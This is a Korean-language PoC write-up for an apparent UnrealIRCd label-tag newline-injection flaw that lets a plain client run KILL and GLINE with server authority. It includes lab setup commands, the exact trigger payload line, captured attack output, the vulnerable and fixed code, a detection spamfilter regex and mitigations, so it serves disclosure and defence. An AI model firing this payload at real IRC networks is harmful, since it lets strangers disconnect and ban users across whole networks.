
CVE-2026-114713 POC - UnrealIRCd의 IRCv3 label-tag 주입으로 인해 비권한 클라이언트 메시지가 연결된 서버 네트워크에서 서버 간 명령 권한으로 상승하는 취약점. 취약 버전 6.2.7과 수정 버전 6.2.7.1 대조 포함.
labeled-response 모듈은 클라이언트가 제공한 IRCv3 "label" 메시지 태그를 이스케이프 없이 응답에 그대로 반향합니다. 개행 문자를 포함한 label 값은 표준 IRCv3 태그 이스케이프 \n 형태로 도착하는데, 서버는 이를 실제 LF로 언이스케이프한 뒤 원시 그대로 다시 기록합니다. labeled 요청이 다른 서버로 라우팅될 때(두 개의 매개변수를 받는 WHOIS <server> <nick>이 정확히 그렇게 합니다), 응답은 그 원시 LF를 담은 채 서버 간 링크를 건너갑니다. 수신 서버는 한 줄을 두 줄로 파싱하고, 두 번째 줄 - 응답에 붙여진 공격자가 선택한 텍스트 - 은 신뢰할 수 있는 피어가 보낸 명령으로 실행됩니다. IRC에서 링크된 서버로부터 온 메시지는 클라이언트에 적용되는 권한 검사를 건너뛰므로, 일반 사용자가 클라이언트 메시지 하나로 네트워크 전체에서 KILL, GLINE 및 기타 서버/IRCOp 전용 명령을 실행할 수 있습니다. 6.2.7.1 및 핫패치 번들 bundle-20261107에서 수정되었으며, 2026-11-13에 KEV에 등재되어 실제 공격에 악용되고 있습니다.
bundle-20261107 적용(재시작 불필요)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N)랩 환경을 기동합니다(127.0.0.1:6667/6668에 링크된 취약 서버 두 대, 6.2.7.1에서 동일한 토폴로지, 그리고 단일 서버 대조 환경):
./setup/build-lab.sh # builds 6.2.7 + 6.2.7.1 from the official tarballs
./setup/boot-lab.sh # boots hub, leaf, single, fixed-hub, fixed-leaf
# or: docker compose up -d vuln-hub vuln-leaf vuln-single fixed-hub fixed-leaf
트리거를 발동합니다(공격자와 피해자는 리프에, WHOIS 대상은 허브에 위치):
python3 poc.py --host 127.0.0.1 --port 6668 --hub-host 127.0.0.1 --hub-port 6667
--host/--port은 공격자와 피해자가 접속하는 리프이고, --hub-host/--hub-port은 WHOIS 대상이 있는 원격 서버이며, --whois-server는 라우팅된 WHOIS에 사용되는 이름입니다. 대조 실행: 동일한 입력을 수정된 네트워크(--port 6678 --hub-port 6677)와 단일 서버(--host 127.0.0.1 --port 6687 --single --whois-server single.example.net)에 대해 실행합니다.
이것은 본인이 소유한 IRC 서버에만 사용하십시오.
링크된 취약 네트워크에 대해 트리거를 실행한 결과(원시 캡처: evidence/01-vulnerable-linked-network-trigger.txt). 먼저 사전 검사 - 동일한 KILL을 직접 보내면 거부되며, 이는 공격자에게 운영자 권한이 없음을 증명합니다:
--- atk(attacker) raw traffic ---
KILL vic :direct-attempt
:leaf.example.net 481 atk :Permission Denied- You do not have the correct IRC operator privileges
그다음 하나의 labeled 줄(태그 이스케이프는 전송 시점 그대로 표시):
[*] trigger line (wire bytes): b'@label=p\\nKILL\\svic\\s:CVE-2026-114713 WHOIS hub.example.net wt\r\n'
피해자의 소켓 - 원격 SERVER에 귀속된 명령에 의해 종료됨:
--- vic(kill-victim) raw traffic ---
:hub.example.net KILL vic :CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response
ERROR :Closing Link: vic[localhost] (Killed by hub.example.net (CVE-2026-114713 :hub.example.net BATCH atk +jTdPUODfTulRwVfhMYRD01 labeled-response))
[*] verdict
[!] VULNERABLE: victim 'vic' was killed by a command that arrived
attributed to the remote SERVER - authority no IRC user has.
피해자 호스트의 서버 로그는 킬러를 서버로 명명합니다
(evidence/04-server-log-detection.txt):
leaf.example.net kill.KILL_COMMAND info: Client killed: vic!vic@localhost [by: hub.example.net] (CVE-2026-114713 ...)
대조군 A - 수정된 6.2.7.1 연결 네트워크에서의 동일한 입력
(evidence/02-control-fixed-6.2.7.1-linked-network.txt): 라벨 값에
개행이 포함되어 있어 수정본이 전체 태그를 거부합니다. WHOIS 숫자 정보는
라벨 없는 일반 줄로 돌아오고 피해자는 온라인 상태를 유지합니다:
:hub.example.net 311 atk wt wt Clk-BF919CEF * wt
:hub.example.net 318 atk wt :End of /WHOIS list.
[=] NO server-authority execution observed (victim still online).
대조군 B - 링크가 없는 단일 취약 서버에서의 동일한 입력
(evidence/03-control-single-server-precondition.txt): 이스케이프되지 않은 라벨은
공격자 자신의 소켓에만 다시 기록될 뿐이며, 아무것도 실행되지 않습니다:
[=] CONTROL HOLDS (single-server): no server-authority command executed.
src/modules/labeled-response.c에서 세 가지 요소가 맞물립니다:
태그 값은 수신 시 이스케이프 해제됩니다(message_tag_unescape()의
src/modules/message-tags.c이 IRCv3 이스케이프 \n \r \s \:을
실제 LF/CR/공백/세미콜론으로 매핑합니다). 클라이언트는 원시 개행을 절대 보내지 않으며,
서버가 인쇄 가능한 두 바이트로부터 개행을 만들어냅니다.
6.2.7에서 태그 검증기는 cap을 보유한 클라이언트가 보내는 최대 64바이트까지 무엇이든 수용합니다 - 값에 대한 문자 검사가 없습니다:
int labeled_response_mtag_is_ok(Client *client, const char *name, const char *value)
{
if (BadPtr(value))
return 0;
if (IsServer(client))
return 1;
...
if (strlen(value) <= 64)
return 1;
그런 다음 모듈은 저장된 값을 원시
snprintf 호출로 응답 줄에 포맷합니다 - gen_start_batch()은 "@label=%s :%s BATCH +%s labeled-response", lr_post_command() builds "@label=%s%s%s"를 구축합니다 - 다른 모든 아웃바운드 경로가 사용하는
message_tag_escape()를 우회합니다. 원격 라벨 클라이언트로 라우팅된 응답의 경우,
lr_packet()가 이 버퍼를 서버 링크에 기록하므로 라벨 내부의 LF가 신뢰할 수 있는
피어에서 스트림을 분할합니다: 첫 번째 줄은 무해한 짧은 @label=p 태그 세그먼트이고,
두 번째 줄은 공격자가 덧붙인 내용 그대로이며, 연결된
서버의 명령으로 실행됩니다. 2-매개변수 WHOIS가 가장 깔끔한 운반 수단인 이유는
대상의 서버로 전달되고 링크를 가로질러 라벨이 붙은 응답을 보장하기 때문입니다.
6.2.7.1 수정본은 정확히 누락된 검사입니다(릴리스의 첫 번째 diff 덩어리):
if (strpbrk(value, " ;\\\r\n"))
return 0;
공백, 세미콜론, 백슬래시, CR 또는 LF를 포함하는 모든 라벨은 저장되기 전에 삭제되므로, 이스케이프 불가능한 바이트가 응답 포맷터에 도달하지 않습니다.
strlen(value) <= 64 제한이며, 이스케이프 해제 후 LF는 1바이트로 계산됩니다). 주입된 명령은 이를 전달한 응답과 같은 줄을 공유하므로, 원본 응답의 뒷부분이 KILL 사유 안에 들어갑니다. 사유 앞의 위치 매개변수는 정상적으로 파싱됩니다.TKL + G ... 꼬리를 붙인 동일한 주입은 네트워크 전체 차단을 설정합니다.kill.KILL_COMMAND / TKL 로그 줄에서 서버 이름에 귀속된 KILL/GLINE 이벤트는 결코 정당한 사용자 행동이 아닙니다(사용자 KILL은 481 Permission denied로 응답합니다 - PoC의 사전 검사에서 이를 보여줍니다). 지속적인 악용은 수신 측에서 레이블 세그먼트가 파싱에 실패하는 레이블된 응답으로도 나타납니다.SPAMFILTER add -regex T block - Invalid_label ^label=(?![^\r\n;\x20]*\z).
EOL 5.x의 경우 유일한 우회 방법은 모든 서버에서 blacklist-module "labeled-response";를 적용하고 전체 재시작을 하는 것입니다(rehash로는 충분하지 않습니다). 6.x: 6.2.7.1로 업그레이드하거나 ./unrealircd hot-patch bundle-20261107를 적용한 후, ./unrealircd module-status | grep labeled-response으로 검증하십시오(5.0 단독 = 패치되지 않음).evidence/의 모든 캡처는 공식 6.2.7 및 6.2.7.1 tarball로 구축한 127.0.0.1 랩 인스턴스를 대상으로 수집되었습니다. 로그의 서버 이름과 호스트는 랩 예약 이름이며 실제 시스템이 아닙니다.